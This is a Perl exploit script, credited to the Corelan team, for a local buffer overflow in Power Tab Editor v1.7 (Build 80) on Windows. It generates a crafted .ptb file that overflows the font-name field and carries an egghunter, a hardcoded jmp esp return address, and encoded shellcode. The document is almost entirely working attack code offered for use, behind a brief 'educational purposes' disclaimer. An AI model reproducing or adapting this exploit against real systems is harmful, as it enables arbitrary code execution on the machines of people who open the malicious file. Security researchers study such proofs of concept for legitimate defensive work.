Power Tab Editor 1.7 (Build 80) – Local Buffer Overflow
#*********************************************************************************** # Exploit Title : Power Tab Editor v1.7 (Build 80) # Date : 07/06/2010 # Author : Sud0 # Bug found by : Sud0 # Software Link : http://www.power-tab.net/guitar.php # Version : v1.7 (Build 80) # OS : Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln : EIP / SEH # Thanks to my wife for her support # Congratz to markot for his new baby Manuel # Greetz to: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. #*********************************************************************************** #code : print "|------------------------------------------------------------------|\n"; print "| __ __ |\n"; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n"; print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n"; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n"; print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n"; print "| |\n"; print "| http://www.corelan.be:8800 |\n"; print "| |\n"; print "|-------------------------------------------------[ EIP Hunters ]--|\n\n"; print "[+] Exploit for Power Tab Editor v1.7 b80\n"; my $filename="poc.ptb"; my $junk = "\x20" x 463; my $footer = "\x08\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0F". "\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x08". "\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0F\x54". "\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x08\x00". "\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00"; my $egg= "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; my $buffer = "ptab" . "\x04\x00\x00\x00\xFF\xCF\x01"; # File Header $buffer .= $junk ; $buffer .= "\x00\x00\x02\x00\xDA\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ; # basic config for ptb file $buffer .= "\x00\x01\x00\xFF\xFF\x01\x00\x07\x00\x43\x47\x75\x69\x74\x61\x72" ; # basic config for ptb file $buffer .= "\x00\x08\x55\x6E\x74\x69\x74\x6C\x65\x64\x18\x68\x40\x00\x00\x00" ; # basic config for ptb file $buffer .= "\x00\x00\x08\x53\x74\x61\x6E\x64\x61\x72\x64\x01\x06\x40\x3B\x37" ; # basic config for ptb file $buffer .= "\x32\x2D\x28\x00\x00\x00\x00\x01\x00\xFF\xFF\x01\x00\x09\x00\x43" ; # basic config for ptb file $buffer .= "\x47\x75\x69\x74\x61\x72\x49\x6E\x00\x00\x00\x00\x00\x01\x00\x00" ; # basic config for ptb file $buffer .= "\x00\x00\x00\x00\x01\x00\xFF\xFF\x01\x00\x08\x00\x43\x53\x65\x63" ; # basic config for ptb file $buffer .= "\x74\x69\x6F\x6E\x32\x00\x00\x00\x14\x00\x00\x00\x20\x03\x00\x00" ; # basic config for ptb file $buffer .= "\x8F\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x10\x00\x80\x11\x1A" ; # basic config for ptb file $buffer .= "\x04\x7F\x00\x00\x00\x00\x00\x00\x00\x01\x00\xFF\xFF\x01\x00\x06" ; # basic config for ptb file $buffer .= "\x00\x43\x53\x74\x61\x66\x66\x06\x09\x09\x11\x00\x00\x00\x00\x00" ; # basic config for ptb file $buffer .= "\x00\x00\x01\x00\x01\x80\x00\x08\x55\x6E\x74\x69\x74\x6C\x65\x64" ; # basic config for ptb file $buffer .= "\x21\x68\x40\x00\x00\x00\x00\x00\x04\x42\x61\x73\x73\x01\x04\x2B" ; # basic config for ptb file $buffer .= "\x26\x21\x1C\x00\x00\x00\x00\x01\x00\x03\x80\x00\x00\x00\x00\x00" ; # basic config for ptb file $buffer .= "\x01\x00\x00\x00\x00\x00\x00\x01\x00\x05\x80\x32\x00\x00\x00\x14" ; # basic config for ptb file $buffer .= "\x00\x00\x00\x20\x03\x00\x00\x7D\x00\x00\x00\x00\x14\x00\x00\x00" ; # basic config for ptb file $buffer .= "\x00\x00\x10\x00\x80\x11\x1A\x04\x7F\x00\x00\x00\x00\x00\x00\x00" ; # basic config for ptb file $buffer .= "\x01\x00\x07\x80\x14\x09\x09\x11\x00\x00\x00\x00\x00\x00\x00\x05" ; # basic config for ptb file $buffer .= "Arial" . "A" x 18; # Font here where the Buffer Overflow occures $buffer .= $egg; $buffer .= "A" x 18; # some junk $buffer .= "\xDC\x3A\xB4\x76"; # jmp esp from winmm.dll may be changed $buffer .= "\x90" x 4; # somz NOPs $buffer .= "\xEB\xC4" ; # Jump Backward to egg bunter $buffer .= "\xcc\x00\x36\x00"; # ptb file separator $buffer .= "A" x 918; # some junk $buffer .= $footer; # ptb file footer $shellcode = "w00tw00t" . "WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhYjKMKn92Ta4kDDqXRX2qjp1KyPdLKqadpnkaf4LNkrVELLKsvUXnkcNgPnk6VvXroWhrUJSv931N1kOiqSPLKRLtd5tNkcuWLlKPTWupxvakZNkpJWhnkSjgP5QJKxcVW1YNkVTLKEQxnfQ9oP1kpylnLK4kpT4WzYQZoVm5Qjg9yZQKOyoKOEkqlVDQ81eknLK1JUtS1zKSVlKvlpKNkRzwlwqJKnk7tLKc1KXoyStQ4eLE1iSOBwxeyKdOyhelIKrQxlNRntNzLPRixMLiokOkONiRewtmkcNkhkRQcLGeL6D0RM8NkyokOKOniSu38qxPl2LUpkO58Ucp2fNqt3XSEt32ESBOxQLWTtJOyJFv6KOSeFdLIYRRpoKnHMr2mmlmWWlutpRkX3nKOkOkOqxPLQQBnPXu8csRoV2W5VQyKNh1LTdUWoyHcPh2USUBLbxsXUp0MU1pnsX3RrO2U2T2HROT45ppa3XPmsQSBu3QxUprTrOUp1x2RcQRT2ZqxU3bORNQwu8qcwPFZUpphGPpsQq493XRs2UQtvPEayYoxpLutVKMYHaFQKbqB63PQ629oJp6QIPBpYoruWxWzA"; $buffer .=$shellcode; print "Removing old $filename file\n"; system("del $filename"); print "Creating new $filename file\n"; open(FILE, ">$filename"); print FILE $buffer; close(FILE); |